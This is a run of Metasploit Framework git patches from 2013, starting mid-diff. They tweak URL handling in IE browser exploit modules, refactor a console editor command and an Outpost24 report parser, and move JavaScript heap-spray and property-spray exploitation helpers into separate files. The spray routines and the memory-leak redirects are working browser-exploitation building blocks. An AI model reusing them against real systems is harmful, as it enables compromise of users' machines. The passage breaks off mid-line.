b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote } window.onload = function() { - document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL(); + document.location = "#{get_resource.chomp("/")}/#{@exploit_page}?dll=" + getDLL(); } diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index ea8581dd08..dad5d01fa6 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -277,7 +277,7 @@ class Metasploit3 < Msf::Exploit::Remote end def send_stage(cli, my_target, stage='trigger', leak=0) - midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + midi_uri = get_resource.chomp("/") if stage == 'leak' midi_uri << "/#{@ml_name}" @@ -498,7 +498,7 @@ class Metasploit3 < Msf::Exploit::Remote while (k > 0) { if (typeof(clones[k].w1) == "string") { var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0) - document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + leak + document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak return; } k = k - 2; diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 2fbe879d94..eda4c950f9 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -343,7 +343,7 @@ function exploit(){ var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; - document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) + document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } From 72a052942f521d8b907bc0b196081c9cdd79fc76 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 17 Oct 2013 14:11:20 -0500 Subject: [PATCH 220/409] Methodize the editor variable as local_editor --- lib/msf/ui/console/command_dispatcher/core.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index d8efdb4d14..65e0af6b64 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -628,10 +628,13 @@ class Core true end + def local_editor + Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim' + end + def cmd_edit_help - editor = Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') msg = "Edit the currently active module" - msg = "#{msg} #{editor ? "with #{editor}" : "($EDITOR must be set first)"}." + msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($EDITOR must be set first)"}." print_line "Usage: edit" print_line print_line msg @@ -643,19 +646,18 @@ class Core # Edit the currently active module # def cmd_edit - editor = ENV['VISUAL'] || ENV['EDITOR'] - unless editor + unless local_editor print_error "$EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'" return end - unless ::File.executable_real? editor - print_error "#{editor} doesn't seem to be executable by you." + unless ::File.executable_real? local_editor + print_error "#{local_editor} doesn't seem to be executable by you." return end if active_module path = active_module.file_path - print_status "Launching #{editor} #{path}" - system(editor,path) + print_status "Launching #{local_editor} #{path}" + system(local_editor,path) else print_error "Nothing to edit -- try using a module first." end From 920e406526ffc54c7ff4c6734f027bbde360a441 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 17 Oct 2013 14:27:17 -0500 Subject: [PATCH 221/409] Import CVE refs and db.emit all the things --- lib/rex/parser/outpost24_nokogiri.rb | 37 ++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 8 deletions(-) diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index 226ce5abaa..3464f85c9a 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -26,6 +26,7 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document when "detail" return unless in_tag("detaillist") @vuln = {} + @refs = [] when "ip" @state[:has_text] = true when "platform" @@ -41,6 +42,11 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("detaillist") return unless in_tag("detail") @state[:has_text] = true + when "id" + return unless in_tag("detaillist") + return unless in_tag("detail") + return unless in_tag("cve") + @state[:has_text] = true end end @@ -77,6 +83,11 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("detaillist") return unless in_tag("detail") collect_vuln_data(name) + when "id" + return unless in_tag("detaillist") + return unless in_tag("detail") + return unless in_tag("cve") + collect_vuln_data(name) end @state[:current_tag].delete(name) end @@ -97,8 +108,9 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def collect_vuln @vuln[:host] = @state[:host] - @vuln[:name] = @state[:name] + @vuln[:name] = @state[:vname] @vuln[:info] = @state[:info] + @vuln[:refs] = @refs @report_data[:vulns] << @vuln end @@ -135,28 +147,37 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def collect_vuln_data(name) @state[:has_text] = false if name == "name" - @state[:name] = @text.strip if @text + @state[:vname] = @text.strip if @text elsif name == "description" @state[:info] = @text.strip if @text + elsif name == "id" + @state[:ref] = @text.strip if @text + @refs << normalize_ref("CVE", @state[:ref]) end @text = nil end def report_hosts - @report_data[:hosts].each do |host| - db_report(:host, host) + block = @block + @report_data[:hosts].each do |h| + db.emit(:address, h[:host], &block) if block + db_report(:host, h) end end def report_services - @report_data[:services].each do |service| - db_report(:service, service) + block = @block + @report_data[:services].each do |s| + db.emit(:service, "#{s[:host]}:#{s[:port]}/#{s[:proto]}", &block) if block + db_report(:service, s) end end def report_vulns - @report_data[:vulns].each do |vuln| - db_report(:vuln, vuln) + block = @block + @report_data[:vulns].each do |v| + db.emit(:vuln, ["#{v[:name]} (#{v[:host]})", 1], &block) if block + db_report(:vuln, v) end end From 06c7943f54fb69ec08fa88ecb510342b8c9b63dd Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 17 Oct 2013 15:31:48 -0500 Subject: [PATCH 222/409] Import hostnames without breaking everything --- lib/rex/parser/outpost24_nokogiri.rb | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index 3464f85c9a..61a4b2b255 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -29,6 +29,10 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document @refs = [] when "ip" @state[:has_text] = true + when "name" + return unless in_tag("hostlist") || in_tag("detaillist") + return unless in_tag("host") || in_tag("detail") + @state[:has_text] = true when "platform" return unless in_tag("hostlist") return unless in_tag("host") @@ -38,7 +42,7 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("portlist-host") return unless in_tag("portinfo") @state[:has_text] = true - when "name", "description" + when "description" return unless in_tag("detaillist") return unless in_tag("detail") @state[:has_text] = true @@ -70,6 +74,12 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document collect_vuln when "ip" collect_ip + when "name" + if in_tag("hostlist") && in_tag("host") + collect_host_data(name) + elsif in_tag("detaillist") && in_tag("detail") + collect_vuln_data(name) + end when "platform" return unless in_tag("hostlist") return unless in_tag("host") @@ -79,7 +89,7 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document return unless in_tag("portlist-host") return unless in_tag("portinfo") collect_service_data(name) - when "name", "description" + when "description" return unless in_tag("detaillist") return unless in_tag("detail") collect_vuln_data(name) @@ -94,6 +104,7 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def collect_host @host[:host] = @state[:host] + @host[:name] = @state[:hname] @host[:os_name] = @state[:os_name] @report_data[:hosts] << @host end @@ -122,7 +133,9 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def collect_host_data(name) @state[:has_text] = false - if name == "platform" + if name == "name" + @state[:hname] = @text.strip if @text + elsif name == "platform" if @text @state[:os_name] = @text.strip else From 12151650e49425ce95075a729081be7519977326 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 17 Oct 2013 16:18:27 -0500 Subject: [PATCH 223/409] Add product info to hosts and services :) --- lib/rex/parser/outpost24_nokogiri.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/rex/parser/outpost24_nokogiri.rb b/lib/rex/parser/outpost24_nokogiri.rb index 61a4b2b255..b150189513 100644 --- a/lib/rex/parser/outpost24_nokogiri.rb +++ b/lib/rex/parser/outpost24_nokogiri.rb @@ -10,6 +10,8 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def start_element(name, attrs) @state[:current_tag][name] = true case name + when "report" + @state[:has_text] = true when "hostlist" @report_data[:hosts] = [] when "portlist" @@ -56,6 +58,8 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document def end_element(name) case name + when "report" + collect_product when "hostlist" report_hosts when "portlist" @@ -102,10 +106,17 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document @state[:current_tag].delete(name) end + def collect_product + @state[:has_text] = false + @state[:pinfo] = @text.strip if @text + @text = nil + end + def collect_host @host[:host] = @state[:host] @host[:name] = @state[:hname] @host[:os_name] = @state[:os_name] + @host[:info] = @state[:pinfo] @report_data[:hosts] << @host end @@ -114,13 +125,14 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document @service[:port] = @state[:port] @service[:proto] = @state[:proto] @service[:name] = @state[:sname] + @service[:info] = @state[:pinfo] @report_data[:services] << @service end def collect_vuln @vuln[:host] = @state[:host] @vuln[:name] = @state[:vname] - @vuln[:info] = @state[:info] + @vuln[:info] = @state[:vinfo] @vuln[:refs] = @refs @report_data[:vulns] << @vuln end @@ -162,7 +174,7 @@ load_nokogiri && class Outpost24Document < Nokogiri::XML::SAX::Document if name == "name" @state[:vname] = @text.strip if @text elsif name == "description" - @state[:info] = @text.strip if @text + @state[:vinfo] = @text.strip if @text elsif name == "id" @state[:ref] = @text.strip if @text @refs << normalize_ref("CVE", @state[:ref]) From c926fa710b80d2271a8908a27cf644424b376f02 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 17 Oct 2013 16:43:29 -0500 Subject: [PATCH 224/409] Move all exploitation-related JavaScript to their new home --- data/js/crypto/base64.js | 126 +++++++++ .../js/detect/addons.js | 0 .../js/detect/os.js | 0 data/js/exploitation/heap_spray.js | 17 ++ data/js/exploitation/mstime_malloc.js | 31 +++ data/js/exploitation/property_spray.js | 39 +++ data/js/network/ajax_download.js | 27 ++ lib/msf/core/exploit/http/server.rb | 258 +----------------- .../exploitation/javascriptaddonsdetect.rb | 2 +- lib/rex/exploitation/javascriptcrypto.rb | 22 ++ .../exploitation/javascriptexploitation.rb | 37 +++ lib/rex/exploitation/javascriptnetwork.rb | 22 ++ lib/rex/exploitation/javascriptosdetect.rb | 2 +- 13 files changed, 331 insertions(+), 252 deletions(-) create mode 100644 data/js/crypto/base64.js rename lib/rex/exploitation/javascriptaddonsdetect.js => data/js/detect/addons.js (100%) rename lib/rex/exploitation/javascriptosdetect.js => data/js/detect/os.js (100%) create mode 100644 data/js/exploitation/heap_spray.js create mode 100644 data/js/exploitation/mstime_malloc.js create mode 100644 data/js/exploitation/property_spray.js create mode 100644 data/js/network/ajax_download.js create mode 100644 lib/rex/exploitation/javascriptcrypto.rb create mode 100644 lib/rex/exploitation/javascriptexploitation.rb create mode 100644 lib/rex/exploitation/javascriptnetwork.rb diff --git a/data/js/crypto/base64.js b/data/js/crypto/base64.js new file mode 100644 index 0000000000..69f7615257 --- /dev/null +++ b/data/js/crypto/base64.js @@ -0,0 +1,126 @@ +// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html +// variable names changed to make obfuscation easier +var Base64 = { + // private property + _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + + // private method + _utf8_encode : function ( input ){ + input = input.replace(/\\r\\n/g,"\\n"); + var utftext = ""; + var input_idx; + + for (input_idx = 0; input_idx < input.length; input_idx++) { + var chr = input.charCodeAt(input_idx); + if (chr < 128) { + utftext += String.fromCharCode(chr); + } + else if((chr > 127) && (chr < 2048)) { + utftext += String.fromCharCode((chr >> 6) | 192); + utftext += String.fromCharCode((chr & 63) | 128); + } else { + utftext += String.fromCharCode((chr >> 12) | 224); + utftext += String.fromCharCode(((chr >> 6) & 63) | 128); + utftext += String.fromCharCode((chr & 63) | 128); + } + } + + return utftext; + }, + + // public method for encoding + encode : function( input ) { + var output = ""; + var chr1, chr2, chr3, enc1, enc2, enc3, enc4; + var input_idx = 0; + + input = Base64._utf8_encode(input); + + while (input_idx < input.length) { + chr1 = input.charCodeAt( input_idx++ ); + chr2 = input.charCodeAt( input_idx++ ); + chr3 = input.charCodeAt( input_idx++ ); + + enc1 = chr1 >> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + output = output + + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); + } + return output; + }, + // public method for decoding + decode : function (input) { + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + + input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, ""); + + while (i < input.length) { + + enc1 = this._keyStr.indexOf(input.charAt(i++)); + enc2 = this._keyStr.indexOf(input.charAt(i++)); + enc3 = this._keyStr.indexOf(input.charAt(i++)); + enc4 = this._keyStr.indexOf(input.charAt(i++)); + + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + + output = output + String.fromCharCode(chr1); + + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + + } + + output = Base64._utf8_decode(output); + + return output; + + }, + _utf8_decode : function (utftext) { + var string = ""; + var input_idx = 0; + var chr1 = 0; + var chr2 = 0; + var chr3 = 0; + + while ( input_idx < utftext.length ) { + + chr1 = utftext.charCodeAt(input_idx); + + if (chr1 < 128) { + string += String.fromCharCode(chr1); + input_idx++; + } + else if((chr1 > 191) && (chr1 < 224)) { + chr2 = utftext.charCodeAt(input_idx+1); + string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); + input_idx += 2; + } else { + chr2 = utftext.charCodeAt(input_idx+1); + chr3 = utftext.charCodeAt(input_idx+2); + string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); + input_idx += 3; + } + } + + return string; + } + +}; \ No newline at end of file diff --git a/lib/rex/exploitation/javascriptaddonsdetect.js b/data/js/detect/addons.js similarity index 100% rename from lib/rex/exploitation/javascriptaddonsdetect.js rename to data/js/detect/addons.js diff --git a/lib/rex/exploitation/javascriptosdetect.js b/data/js/detect/os.js similarity index 100% rename from lib/rex/exploitation/javascriptosdetect.js rename to data/js/detect/os.js diff --git a/data/js/exploitation/heap_spray.js b/data/js/exploitation/heap_spray.js new file mode 100644 index 0000000000..ca174aca80 --- /dev/null +++ b/data/js/exploitation/heap_spray.js @@ -0,0 +1,17 @@ +var memory = new Array(); +function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { + var index; + var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); + var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); + while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } + while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } + + var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo); + while (retSlide.length < heapBlockSize) { retSlide += retSlide; } + retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); + + var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; + for (index = 0; index < heapBlockCnt; index++) { + memory[index] = retSlide + shellcode; + } +} \ No newline at end of file diff --git a/data/js/exploitation/mstime_malloc.js b/data/js/exploitation/mstime_malloc.js new file mode 100644 index 0000000000..7ee687fdac --- /dev/null +++ b/data/js/exploitation/mstime_malloc.js @@ -0,0 +1,31 @@ +function mstime_malloc(oArg) { + shellcode = oArg.shellcode; + offset = oArg.offset; + heapBlockSize = oArg.heapBlockSize; + objId = oArg.objId; + + if (shellcode == undefined) { throw "Missing argument: shellcode"; } + if (offset == undefined) { offset = 0; } + if (heapBlockSize == undefined) { throw "Size must be defined"; } + + buf = ""; + for (i=0; i < heapBlockSize/4; i++) { + if (i == offset) { + if (i == 0) { buf += shellcode; } + else { buf += ";" + shellcode; } + } + else { + buf += ";#W00TA"; + } + } + + e = document.getElementById(objId); + if (e == null) { + eleId = "W00TB" + acTag = "" + document.body.innerHTML = document.body.innerHTML + acTag; + e = document.getElementById(eleId); + } + try { e.values = buf; } + catch (e) {} +} \ No newline at end of file diff --git a/data/js/exploitation/property_spray.js b/data/js/exploitation/property_spray.js new file mode 100644 index 0000000000..71dfcb8b4d --- /dev/null +++ b/data/js/exploitation/property_spray.js @@ -0,0 +1,39 @@ +var sym_div_container; +function sprayHeap( oArg ) { + + shellcode = oArg.shellcode; + offset = oArg.offset; + heapBlockSize = oArg.heapBlockSize; + maxAllocs = oArg.maxAllocs; + objId = oArg.objId; + + if (shellcode == undefined) { throw "Missing argument: shellcode"; } + if (offset == undefined) { offset = 0x00; } + if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } + if (maxAllocs == undefined) { maxAllocs = 0x350; } + + if (offset > 0x800) { throw "Bad alignment"; } + + sym_div_container = document.getElementById(objId); + + if (sym_div_container == null) { + sym_div_container = document.createElement("div"); + } + + sym_div_container.style.cssText = "display:none"; + var data; + junk = unescape("%u2020%u2020"); + while (junk.length < offset+0x1000) junk += junk; + + data = junk.substring(0,offset) + shellcode; + data += junk.substring(0,0x800-offset-shellcode.length); + + while (data.length < heapBlockSize) data += data; + + for (var i = 0; i < maxAllocs; i++) + { + var obj = document.createElement("button"); + obj.title = data.substring(0, (heapBlockSize-2)/2); + sym_div_container.appendChild(obj); + } +} \ No newline at end of file diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js new file mode 100644 index 0000000000..5b34e524cc --- /dev/null +++ b/data/js/network/ajax_download.js @@ -0,0 +1,27 @@ +function ajax_download(oArg) { + method = oArg.method; + path = oArg.path; + data = oArg.data; + + if (method == undefined) { method = "GET"; } + if (method == path) { throw "Missing parameter 'path'"; } + if (data == undefined) { data = null; } + + if (window.XMLHttpRequest) { + xmlHttp = new XMLHttpRequest(); + } + else { + xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + } + + if (xmlHttp.overrideMimeType) { + xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); + } + + xmlHttp.open(method, path, false); + xmlHttp.send(data); + if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { + return xmlHttp.responseText; + } + return null; +} \ No newline at end of file diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index af639e8e08..c63c4993bc 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,8 +3,11 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' +require 'rex/exploitation/javascriptnetwork' +require 'rex/exploitation/javascriptcrypto' require 'rex/exploitation/javascriptosdetect' require 'rex/exploitation/javascriptaddonsdetect' +require 'rex/exploitation/javascriptexploitation' module Msf @@ -710,136 +713,7 @@ protected end def js_base64 - js = <<-ENDJS - // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html - // variable names changed to make obfuscation easier - var Base64 = { - // private property - _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - - // private method - _utf8_encode : function ( input ){ - input = input.replace(/\\r\\n/g,"\\n"); - var utftext = ""; - var input_idx; - - for (input_idx = 0; input_idx < input.length; input_idx++) { - var chr = input.charCodeAt(input_idx); - if (chr < 128) { - utftext += String.fromCharCode(chr); - } - else if((chr > 127) && (chr < 2048)) { - utftext += String.fromCharCode((chr >> 6) | 192); - utftext += String.fromCharCode((chr & 63) | 128); - } else { - utftext += String.fromCharCode((chr >> 12) | 224); - utftext += String.fromCharCode(((chr >> 6) & 63) | 128); - utftext += String.fromCharCode((chr & 63) | 128); - } - } - - return utftext; - }, - - // public method for encoding - encode : function( input ) { - var output = ""; - var chr1, chr2, chr3, enc1, enc2, enc3, enc4; - var input_idx = 0; - - input = Base64._utf8_encode(input); - - while (input_idx < input.length) { - chr1 = input.charCodeAt( input_idx++ ); - chr2 = input.charCodeAt( input_idx++ ); - chr3 = input.charCodeAt( input_idx++ ); - - enc1 = chr1 >> 2; - enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); - enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); - enc4 = chr3 & 63; - - if (isNaN(chr2)) { - enc3 = enc4 = 64; - } else if (isNaN(chr3)) { - enc4 = 64; - } - output = output + - this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + - this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); - } - return output; - }, - // public method for decoding - decode : function (input) { - var output = ""; - var chr1, chr2, chr3; - var enc1, enc2, enc3, enc4; - var i = 0; - - input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, ""); - - while (i < input.length) { - - enc1 = this._keyStr.indexOf(input.charAt(i++)); - enc2 = this._keyStr.indexOf(input.charAt(i++)); - enc3 = this._keyStr.indexOf(input.charAt(i++)); - enc4 = this._keyStr.indexOf(input.charAt(i++)); - - chr1 = (enc1 << 2) | (enc2 >> 4); - chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); - chr3 = ((enc3 & 3) << 6) | enc4; - - output = output + String.fromCharCode(chr1); - - if (enc3 != 64) { - output = output + String.fromCharCode(chr2); - } - if (enc4 != 64) { - output = output + String.fromCharCode(chr3); - } - - } - - output = Base64._utf8_decode(output); - - return output; - - }, - _utf8_decode : function (utftext) { - var string = ""; - var input_idx = 0; - var chr1 = 0; - var chr2 = 0; - var chr3 = 0; - - while ( input_idx < utftext.length ) { - - chr1 = utftext.charCodeAt(input_idx); - - if (chr1 < 128) { - string += String.fromCharCode(chr1); - input_idx++; - } - else if((chr1 > 191) && (chr1 < 224)) { - chr2 = utftext.charCodeAt(input_idx+1); - string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); - input_idx += 2; - } else { - chr2 = utftext.charCodeAt(input_idx+1); - chr3 = utftext.charCodeAt(input_idx+2); - string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); - input_idx += 3; - } - } - - return string; - } - - - }; - - ENDJS + js = Rex::Exploitation::JavascriptCrypto.base64 opts = { 'Symbols' => { 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx @@ -872,34 +746,7 @@ protected # # def js_ajax_download - %Q|function ajax_download(oArg) { - method = oArg.method; - path = oArg.path; - data = oArg.data; - - if (method == undefined) { method = "GET"; } - if (method == path) { throw "Missing parameter 'path'"; } - if (data == undefined) { data = null; } - - if (window.XMLHttpRequest) { - xmlHttp = new XMLHttpRequest(); - } - else { - xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); - } - - if (xmlHttp.overrideMimeType) { - xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); - } - - xmlHttp.open(method, path, false); - xmlHttp.send(data); - if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { - return xmlHttp.responseText; - } - return null; - } - | + Rex::Exploitation::JavascriptNetwork.ajax_download end @@ -935,39 +782,7 @@ protected # # def js_mstime_malloc - %Q| - function mstime_malloc(oArg) { - shellcode = oArg.shellcode; - offset = oArg.offset; - heapBlockSize = oArg.heapBlockSize; - objId = oArg.objId; - - if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (offset == undefined) { offset = 0; } - if (heapBlockSize == undefined) { throw "Size must be defined"; } - - buf = ""; - for (i=0; i < heapBlockSize/4; i++) { - if (i == offset) { - if (i == 0) { buf += shellcode; } - else { buf += ";" + shellcode; } - } - else { - buf += ";##{Rex::Text.rand_text_hex(6)}"; - } - } - - e = document.getElementById(objId); - if (e == null) { - eleId = "#{Rex::Text.rand_text_alpha(5)}" - acTag = "" - document.body.innerHTML = document.body.innerHTML + acTag; - e = document.getElementById(eleId); - } - try { e.values = buf; } - catch (e) {} - } - | + Rex::Exploitation::JavascriptExploitation.mstime_malloc end # @@ -993,69 +808,12 @@ protected # # def js_property_spray - sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5) - js = %Q| - var #{sym_div_container}; - function sprayHeap( oArg ) { - - shellcode = oArg.shellcode; - offset = oArg.offset; - heapBlockSize = oArg.heapBlockSize; - maxAllocs = oArg.maxAllocs; - objId = oArg.objId; - - if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (offset == undefined) { offset = 0x00; } - if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } - if (maxAllocs == undefined) { maxAllocs = 0x350; } - - if (offset > 0x800) { throw "Bad alignment"; } - - #{sym_div_container} = document.getElementById(objId); - - if (#{sym_div_container} == null) { - #{sym_div_container} = document.createElement("div"); - } - - #{sym_div_container}.style.cssText = "display:none"; - var data; - junk = unescape("%u2020%u2020"); - while (junk.length < offset+0x1000) junk += junk; - - data = junk.substring(0,offset) + shellcode; - data += junk.substring(0,0x800-offset-shellcode.length); - - while (data.length < heapBlockSize) data += data; - - for (var i = 0; i < maxAllocs; i++) - { - var obj = document.createElement("button"); - obj.title = data.substring(0, (heapBlockSize-2)/2); - #{sym_div_container}.appendChild(obj); - } - } - | + Rex::Exploitation::JavascriptExploitation.property_spray end def js_heap_spray - js = %Q|var memory = new Array(); -function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { - var index; - var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); - var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); - while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } - while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } + js = Rex::Exploitation::JavascriptExploitation.heap_spray - var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo); - while (retSlide.length < heapBlockSize) { retSlide += retSlide; } - retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); - - var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; - for (index = 0; index < heapBlockCnt; index++) { - memory[index] = retSlide + shellcode; - } -} -| opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index diff --git a/lib/rex/exploitation/javascriptaddonsdetect.rb b/lib/rex/exploitation/javascriptaddonsdetect.rb index 0d9be8aa88..8a5c541f0c 100644 --- a/lib/rex/exploitation/javascriptaddonsdetect.rb +++ b/lib/rex/exploitation/javascriptaddonsdetect.rb @@ -16,7 +16,7 @@ class JavascriptAddonsDetect < JSObfu def initialize(custom_js = '', opts = {}) @js = custom_js - @js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptaddonsdetect.js")) + @js += ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "detect", "addons.js")) super @js diff --git a/lib/rex/exploitation/javascriptcrypto.rb b/lib/rex/exploitation/javascriptcrypto.rb new file mode 100644 index 0000000000..2a790eb8f5 --- /dev/null +++ b/lib/rex/exploitation/javascriptcrypto.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation + +# +# Provides cryptographic functions in JavaScript +# +class JavascriptCrypto < JSObfu + + def self.base64 + ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "crypto", "base64.js")) + end + +end +end + +end diff --git a/lib/rex/exploitation/javascriptexploitation.rb b/lib/rex/exploitation/javascriptexploitation.rb new file mode 100644 index 0000000000..d72f5159f0 --- /dev/null +++ b/lib/rex/exploitation/javascriptexploitation.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation + +# +# Provides exploitation functions in JavaScript +# +class JavascriptExploitation < JSObfu + + def self.mstime_malloc + js = ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "exploitation", "mstime_malloc.js")) + js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) + js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) + + js + end + + def self.property_spray + js = ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", 